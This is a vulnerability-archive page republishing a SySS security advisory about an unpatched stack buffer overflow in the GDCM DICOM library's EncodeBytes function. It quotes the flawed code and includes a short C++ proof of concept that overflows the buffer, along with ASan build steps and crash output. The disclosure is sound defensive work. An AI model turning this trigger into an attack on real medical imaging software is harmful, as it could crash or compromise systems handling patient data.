GCVE-1988-2026-0435
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
[SYSS-2026-068]: GDCM (Grassroots DICOM) - Stack-based Buffer Overflow (CWE-121)
Summary
Advisory ID: SYSS-2026-068
Product: GDCM (Grassroots DICOM)
Manufacturer: GDCM Project
Affected Version(s): 3.3.0
Tested Version(s): 3.3.0
Vulnerability Type: Stack-based Buffer Overflow (CWE-121)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2026-07-24
Public Disclosure: 2026-09-23
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
GDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,
and processing DICOM (Digital Imaging and Communications in Medicine)
medical imaging files (see [1]).
The library function gdcm::System::EncodeBytes, defined in
Source/Common/gdcmSystem.cxx, is vulnerable to a stack-based buffer
overflow. The function uses a fixed-size 32-byte stack buffer and copies
caller-provided data into it via memcpy() without checking the size
parameter against the buffer capacity. If a caller invokes EncodeBytes
with a size value greater than 32, a stack buffer overflow occurs,
potentially leading to a process crash or arbitrary code execution in
the context of the user running the application.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The EncodeBytes function is a public static method of the
gdcm::System class (declared in Source/Common/gdcmSystem.h). Its purpose
is to convert a byte array (e.g. a UUID) into its decimal string
representation. The vulnerable code at Source/Common/gdcmSystem.cxx:620
is the following:
{
bool zero = false;
std::string sres;
unsigned char buffer[32]; // 32-byte stack buffer
unsigned char *addr = buffer;
memcpy(addr, data, size); // BUG: no bounds check on 'size'
while(!zero)
{
int res = getlastdigit(addr, size);
const char v = (char)('0' + res);
sres.insert(sres.begin(), v);
zero = true;
for(int i = 0; i < size; ++i)
{
zero = zero && (addr[i] == 0);
}
}
//return sres;
strcpy(out, sres.c_str()); //, sres.size() );
return sres.size();
}
The 'size' parameter is passed directly to memcpy() without validation
against the 32-byte buffer capacity. Additionally, the subsequent
getlastdigit() call and the loop iterating 'size' elements
all operate without bounds checks.
Since EncodeBytes is a public API, any downstream application that links
against GDCM and calls System::EncodeBytes with size > 32 is vulnerable.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
A PoC was developed that calls the actual gdcm::System::EncodeBytes
function from a C++ program linked against the GDCM library, passing
a size value of 48 to overflow the 32-byte stack buffer.
PoC source code:
#include <gdcmSystem.h>
#include <cstdio>
#include <cstring>
int main()
{
const int overflow_size = 48; // Exceeds the 32-byte buffer by 16
unsigned char data[overflow_size];
memset(data, 0x41, overflow_size); // 'A' pattern
char outbuf[256];
size_t len = gdcm::System::EncodeBytes(outbuf, data, overflow_size);
printf("EncodeBytes returned length: %zu\n", len);
return 0;
}
To build and run the PoC, first compile GDCM with AddressSanitizer
(ASan) and then compile the PoC linking against the library:
mkdir -p /tmp/gdcmbin
cmake -S . -B /tmp/gdcmbin \
-DGDCM_BUILD_SHARED_LIBS=OFF \
-DGDCM_BUILD_APPLICATIONS=OFF \
-DGDCM_BUILD_TESTING=OFF \
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
make -C /tmp/gdcmbin -j$(nproc) gdcmCommon
g++ -fsanitize=address -fno-omit-frame-pointer -g \
-ISource/Common \
pocs/poc1_encodebytes_stack_overflow.cpp \
/tmp/gdcmbin/bin/libgdcmCommon.a -o poc1
Running the PoC triggers the stack buffer overflow, detected by ASan:
$ ./poc1
==2703==ERROR: AddressSanitizer: stack-buffer-overflow on address
0x7bb2b18f00c0 at pc 0x7fb2b4329714 bp 0x7ffeeda00b20 sp 0x7ffeeda002c8
WRITE of size 48 at 0x7bb2b18f00c0 thread T0
#0 0x7fb2b4329713 in memcpy (/usr/lib/libasan.so.8+0x129713)
Source/Common/gdcmSystem.cxx:626
[160, 192) 'buffer' (line 624) <== Memory access at offset 192
overflows this variable
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
SySS GmbH is not aware of a security update for the described issue.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-24: Vulnerability reported to manufacturer
2026-07-31: Vulnerability reported to manufacturer again
2026-09-23: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] GDCM project website
https://gdcm.sourceforge.net/
[2] SySS Security Advisory SYSS-2026-068
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | GDCM (Grassroots DICOM) |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "GDCM (Grassroots DICOM)",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-068\nProduct: GDCM (Grassroots DICOM)\nManufacturer: GDCM Project\nAffected Version(s): 3.3.0\nTested Version(s): 3.3.0\nVulnerability Type: Stack-based Buffer Overflow (CWE-121)\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure: 2026-09-23\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nThe library function gdcm::System::EncodeBytes, defined in\nSource/Common/gdcmSystem.cxx, is vulnerable to a stack-based buffer\noverflow. The function uses a fixed-size 32-byte stack buffer and copies\ncaller-provided data into it via memcpy() without checking the size\nparameter against the buffer capacity. If a caller invokes EncodeBytes\nwith a size value greater than 32, a stack buffer overflow occurs,\npotentially leading to a process crash or arbitrary code execution in\nthe context of the user running the application.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe EncodeBytes function is a public static method of the\ngdcm::System class (declared in Source/Common/gdcmSystem.h). Its purpose\nis to convert a byte array (e.g. a UUID) into its decimal string\nrepresentation. The vulnerable code at Source/Common/gdcmSystem.cxx:620\nis the following:\n\n\n {\n bool zero = false;\n std::string sres;\n unsigned char buffer[32]; // 32-byte stack buffer\n unsigned char *addr = buffer;\n memcpy(addr, data, size); // BUG: no bounds check on \u0027size\u0027\n while(!zero)\n {\n int res = getlastdigit(addr, size);\n const char v = (char)(\u00270\u0027 + res);\n sres.insert(sres.begin(), v);\n zero = true;\n for(int i = 0; i \u003c size; ++i)\n {\n zero = zero \u0026\u0026 (addr[i] == 0);\n }\n }\n\n //return sres;\n strcpy(out, sres.c_str()); //, sres.size() );\n return sres.size();\n }\n\nThe \u0027size\u0027 parameter is passed directly to memcpy() without validation\nagainst the 32-byte buffer capacity. Additionally, the subsequent\ngetlastdigit() call and the loop iterating \u0027size\u0027 elements\nall operate without bounds checks.\n\nSince EncodeBytes is a public API, any downstream application that links\nagainst GDCM and calls System::EncodeBytes with size \u003e 32 is vulnerable.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nA PoC was developed that calls the actual gdcm::System::EncodeBytes\nfunction from a C++ program linked against the GDCM library, passing\na size value of 48 to overflow the 32-byte stack buffer.\n\nPoC source code:\n\n#include \u003cgdcmSystem.h\u003e\n#include \u003ccstdio\u003e\n#include \u003ccstring\u003e\n\nint main()\n{\n const int overflow_size = 48; // Exceeds the 32-byte buffer by 16\n unsigned char data[overflow_size];\n memset(data, 0x41, overflow_size); // \u0027A\u0027 pattern\n\n char outbuf[256];\n size_t len = gdcm::System::EncodeBytes(outbuf, data, overflow_size);\n printf(\"EncodeBytes returned length: %zu\\n\", len);\n return 0;\n}\n\nTo build and run the PoC, first compile GDCM with AddressSanitizer\n(ASan) and then compile the PoC linking against the library:\n\nmkdir -p /tmp/gdcmbin\ncmake -S . -B /tmp/gdcmbin \\\n -DGDCM_BUILD_SHARED_LIBS=OFF \\\n -DGDCM_BUILD_APPLICATIONS=OFF \\\n -DGDCM_BUILD_TESTING=OFF \\\n -DCMAKE_CXX_FLAGS=\"-fsanitize=address -fno-omit-frame-pointer -g\" \\\n -DCMAKE_EXE_LINKER_FLAGS=\"-fsanitize=address\"\nmake -C /tmp/gdcmbin -j$(nproc) gdcmCommon\n\ng++ -fsanitize=address -fno-omit-frame-pointer -g \\\n -ISource/Common \\\n pocs/poc1_encodebytes_stack_overflow.cpp \\\n /tmp/gdcmbin/bin/libgdcmCommon.a -o poc1\n\nRunning the PoC triggers the stack buffer overflow, detected by ASan:\n\n $ ./poc1\n ==2703==ERROR: AddressSanitizer: stack-buffer-overflow on address\n 0x7bb2b18f00c0 at pc 0x7fb2b4329714 bp 0x7ffeeda00b20 sp 0x7ffeeda002c8\n WRITE of size 48 at 0x7bb2b18f00c0 thread T0\n #0 0x7fb2b4329713 in memcpy (/usr/lib/libasan.so.8+0x129713)\n\n Source/Common/gdcmSystem.cxx:626\n [160, 192) \u0027buffer\u0027 (line 624) \u003c== Memory access at offset 192\n overflows this variable\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-068\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-121",
"description": "CWE-121",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-02T04:57:33Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/84"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/84"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://gdcm.sourceforge.net/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/84"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-068]: GDCM (Grassroots DICOM) - Stack-based Buffer Overflow (CWE-121)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0435",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/84",
"automated": true,
"contentSha256": "efef70cf82ffb11cf3d41871ea9496a4c83483aed378ce27fd4a5d08ce7d83b8",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/84",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-23T13:33:26Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-10-02T04:57:33Z",
"dateUpdated": "2026-10-02T04:57:33Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0435"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…